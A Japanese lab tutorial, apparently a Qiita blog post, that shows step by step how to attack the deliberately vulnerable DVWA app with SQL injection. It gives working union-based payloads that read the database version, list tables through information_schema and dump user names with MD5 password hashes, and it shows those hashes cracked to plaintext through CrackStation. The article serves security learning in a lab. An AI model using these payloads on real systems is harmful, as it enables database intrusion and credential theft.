Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング2 DVWAでのSQLインジェクション

# はじめに
「ハッキング・ラボのつくりかた」p.602-612をもとにkaliLinux2022.1で検証してみた記事です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# SQLインジェクション
脆弱性のあるWebアプリに、開発者が想定しないSQLを入力することで、データベースを不正に操作する。脆弱性のあるWebアプリには、セキュリティ学習用のDVWAを使用する。
# DVWAでSQLインジェクションの演習を行う
[前回]()を参考にして、DVWAの設定をした後、DVWAのURLにアクセスする。
ここでは、"http\//192.168.56.5/dvwa/security.php"となる。
## レベルの変更
最初から難易度が高いSQLインジェクションを避けるため、DVWAのレベルを変更する。
メニューの「DVWA Security」をクリックして、レベルをlowの変更する。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_11_03_12_レベル替.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/8e5fe342-d309-acfe-fd3b-79c588e4826b.png)

## SQLインジェクションの手法
### すべてのフィールドを表示させる
メニューの「SQL Injection」をクリックする。
User IDに適当な数値、文字値を入れてみると、"select 'First name','Surname' from *table name* where id = \<入力値>"というSQLが実行されていることが推測できる。

入力欄に「1' or 'a'='a」と入力してみる。条件がtrueになりさえすればいいので、「a'='a」などでも構わない。
結果はこの通り。

画像![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_10_52_29_sqlインジェクション１.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3e73f6b7-bfbf-b455-6e8d-a4a4cd40d1f3.png)


## DBシステムのバージョンを取得する
下記の文字列のいずれかを入力する。
「'union select version(),null #」
「'union select @\@version,null #」
「'union select version(),null -- 」
「'union select @@version,null -- 」

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_11_40_05_SQLインジェクション３.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/1a6f20b4-f328-aea1-e552-b71bd1273e8b.png)


## ホスト名,DB名,ユーザー名を取得する
- ホスト名とDB名
「'union select @@hostname,database() #」
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_12_21_13_SQLインジェクション４.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/f21d5d0e-7502-7d00-d92a-24ebe6320386.png)
- ユーザー名
「'union select user(),'a' #」
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_12_27_42_SQLインジェクション５.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5a40f684-24be-4fa0-8bc5-50893c4b2ac7.png)

## テーブル名の一覧を取得する
mysqlのinformation_schemaデータベースには、データベースに関するメタ情報が保存されている。（データベースやテーブルの一覧など）
下の画像は、Metasploitable2でmysqlを起動して、テーブルを一覧表示させたところ。
**information_schemaデータベースのテーブル一覧**
![VirtualBox_Metasploitable2_26_05_2022_13_33_32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/4894bea9-f721-e523-4f0c-5086468fe8b8.png)

このうち、同書p606で紹介されているテーブルはこちら。
| テーブル名 | 概要 |
| :--: | :--: |
| schemata | DB自体のメタ情報、テーブ名や文字コードを確認できる。 |
| tables | テーブルのメタ情報,列名table_schemaにDB名、列名table_nameにテーブル名が格納されている。 |
| column(画像ではcolumns) | カラム（列）のメタ情報を格納する。tablesと同様に、DB名やテーブル名も格納されている |

Metaspoloitable2のMySQLプロンプトのinformation_schema内で、次のSQLを実行した。
`select table_name from tables;`
![VirtualBox_Metasploitable2_26_05_2022_13_47_05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b9c768bc-ba11-f914-9eb0-e3045545377e.png)
同様の出力をWEBアプリ上で行いたい。
次のSQLインジェクション攻撃を実行する。
「'union select table_name,null from information_schema.tables #」

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_13_47_24_SQLインジェクション6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c989e400-568f-c2d4-853a-77b950f9bf3a.png)

テーブル数が多いので、完璧に把握できないが、同様の出力を行うことが出来た。

## DVWAが使用しているテーブルを特定する
テーブルが多いので、DVWAが使用しているテーブルを特定したい。
「'union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #」
where条件句でtable_schemaがdvwaのものを指定する。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_14_12_47_SQLインジェクション7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/ea1cec28-a16f-041c-e6cb-c0a34f754ace.png)
usersテーブルのカラム名を参照する。
「'union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #」

出力されたカラム名のうち、userとパスワードに焦点をしぼる。

「'union select user,password from dvwa.users #」
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_15_01_11_SQLインジェクション8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/f4de8e64-34c6-1dc5-a689-f5cb750414c4.png)
ユーザー名とパスワードのハッシュ値が返された。

# パスワードの解析
今回は、パスワードの解析にハッシュ値から元の入力値を調べてくれるウェブサービスを利用する。同書では、MD5 Onlineを利用しているが、どうやら有料化しているみたいなので、[CrackStation](https://crackstation.net/)を利用した。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_16_43_09_SQLインジェクションハッシュ値.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c4e52a64-5eae-9308-a857-0371e6e9db94.png)

結果：

| ユーザー名 | パスワードのハッシュ | ハッシュタイプ | パスワード |
| :--: | :--: | :--: | :--: |
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | md5 | password |
| gordonb | e99a18c428cb38d5f260853678922e03 | md5 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | md5	| charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | md5 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99	| md5 | password |

ハッシュからのパスワード解析については、同書のp.611でコマンド`findmyhash`が紹介されているが、kaliLinux2022.1にはデフォルトでインストールされておらず、githubにあるものも長い間更新されていないので、使用は控える。